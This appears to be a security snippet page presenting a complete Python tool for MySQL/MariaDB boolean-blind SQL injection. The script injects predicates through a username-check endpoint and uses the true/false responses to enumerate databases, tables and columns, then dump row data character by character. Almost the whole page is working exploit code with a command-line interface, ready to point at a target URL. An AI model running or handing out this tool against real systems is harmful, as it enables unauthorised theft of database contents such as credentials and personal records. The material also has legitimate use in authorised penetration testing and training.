Skip to content
Boolean Blind

Boolean Blind

MySQL boolean-blind linear harness

Blind SQL injection means that MySQL or MariaDB evaluates the injected query but does not return the selected value directly. oracle() accepts a SQL predicate, inserts it into the request, and converts a repeatable application response into a Python Boolean.

Only oracle() is target-specific. get_count() finds the number of rows, get_length() finds the length of one selected value, and dump_value() tests one possible character at each position. Together, the same CLI can dump the current database, database names, table names, column names, and selected rows.

The SQL passed into the oracle uses MySQL/MariaDB syntax throughout: LENGTH, SUBSTRING, ASCII, database(), information_schema, and LIMIT 1 OFFSET n.

import requests
import urllib3
import argparse
import sys
from colorama import Fore, init
import string

init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
TRUE_STRING = "taken"
KNOWN_USER = "maria"
parser = argparse.ArgumentParser(
    description="MySQL boolean-blind SQL injection dumping harness.",
    epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--databases", required=False, action="store_true", help="Dump database names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected database.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-D", "--database", required=False, type=str, help="Database name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns_to_dump", required=False, type=str, help="Comma-separated columns to dump.", default=None)
args = parser.parse_args()
PROXY = args.proxy
if PROXY is not None:
    PROXY = PROXY.strip()
    PROXIES = {
        "http": PROXY,
        "https": PROXY
    }
else:
    PROXIES = {}
URL = args.target.rstrip("/").strip()

def oracle(s, query):
    params = {
        "u": f"{KNOWN_USER}' AND ({query}) -- -"
    }
    try:
        r = s.get(url=f"{URL}/api/check-username.php", params=params, verify=False, timeout=10, proxies=PROXIES)
    except Exception as e:
        print(f"{Fore.RED}\n[-] Could not make request: {e}")
        sys.exit(1)
    if r.status_code == 200 and TRUE_STRING in r.text:
        return True
    return False

def get_count(s, query, label):
    count = 0
    while True:
        print(f"\r[+] Bruteforcing number of {label}: {count}", end="", flush=True)
        count_query = f"({query})={count}"
        if oracle(s, count_query) == True:
            print(f"{Fore.GREEN}\n[+] Number of {label}: {count}")
            return count
        count += 1

def get_length(s, query, label):
    length = 0
    while True:
        print(f"\r[+] Bruteforcing length of {label}: {length}", end="", flush=True)
        length_query = f"LENGTH(({query}))={length}"
        if oracle(s, length_query) == True:
            print(f"{Fore.GREEN}\n[+] Length of {label}: {length}")
            return length
        length += 1

def dump_value(s, query, label):
    value = ""
    length = get_length(s, query, label)
    for pos in range(1, length + 1):
        for char in CHARSET:
            print(f"\r[+] Dumping {label}: {value}", end="", flush=True)
            # ord returns the corresponding decimal number the string has in the ASCII table
            dump_query = f"ASCII(SUBSTRING(({query}),{pos},1))={ord(char)}"
            if oracle(s, dump_query):
                value += char
                break
    print(f"{Fore.GREEN}\n[+] {label}: {value}")
    return value
if __name__ == "__main__":
    s = requests.Session()
    if args.current_db:
        dump_value(s, "SELECT DATABASE()", "current database name")
    if args.databases:
        database_count = get_count(s, "SELECT COUNT(*) FROM information_schema.schemata", "databases")
        for pos in range(0, database_count):
            # gets all database names, orders them, limits output to 1, offset skips rows
            query = f"SELECT schema_name FROM information_schema.schemata ORDER BY schema_name LIMIT 1 OFFSET {pos}"
            label = f"database number {pos}"
            dump_value(s, query, label)
    if args.tables:
        database = args.database
        if not database:
            print(f"{Fore.RED}\n[-] It is required to specify the database to dump table names from.")
            sys.exit(1)
        table_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{database}'", "table count")
        for pos in range(0, table_count):
            # gets all tables names from target db, orders them, limits output to 1 and skips rows by offset
            query = f"SELECT table_name FROM information_schema.tables WHERE table_schema='{database}' ORDER BY table_name LIMIT 1 OFFSET {pos}"
            label = f"table number {pos}"
            dump_value(s, query, label)
    if args.columns:
        database = args.database
        table = args.table
        if not database or not table:
            print(f"{Fore.RED}\n[-] It is required to specify the database and table to dump column names from.")
            sys.exit(1)
        column_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{args.table}'", "column count")
        for pos in range(0, column_count):
            query = f"SELECT column_name FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{args.table}' ORDER BY column_name LIMIT 1 OFFSET {pos}"
            label = f"column number {pos}"
            dump_value(s, query, label)
    if args.dump:
        database = args.database
        table = args.table
        columns = args.columns_to_dump
        if not database or not table or not columns:
            print(f"{Fore.RED}\n[-] It is required to specify the database,table and columns to dump data from.")
            sys.exit(1)
        columns_list = columns.split(",")
        row_count = get_count(s, f"SELECT COUNT(*) FROM {database}.{args.table}", "row count")
        for pos in range(0, row_count):
            for column in columns_list:
                query = f"SELECT CAST({column} AS CHAR) FROM {database}.{args.table} ORDER BY {column} LIMIT 1 OFFSET {pos}"
                label = f"{table}.{column} row {pos}"
                dump_value(s, query, label)

Find by: mysql, mariadb, boolean blind sqli, length, substring, ascii, database, information_schema, limit offset, row dump, sqlmap style cli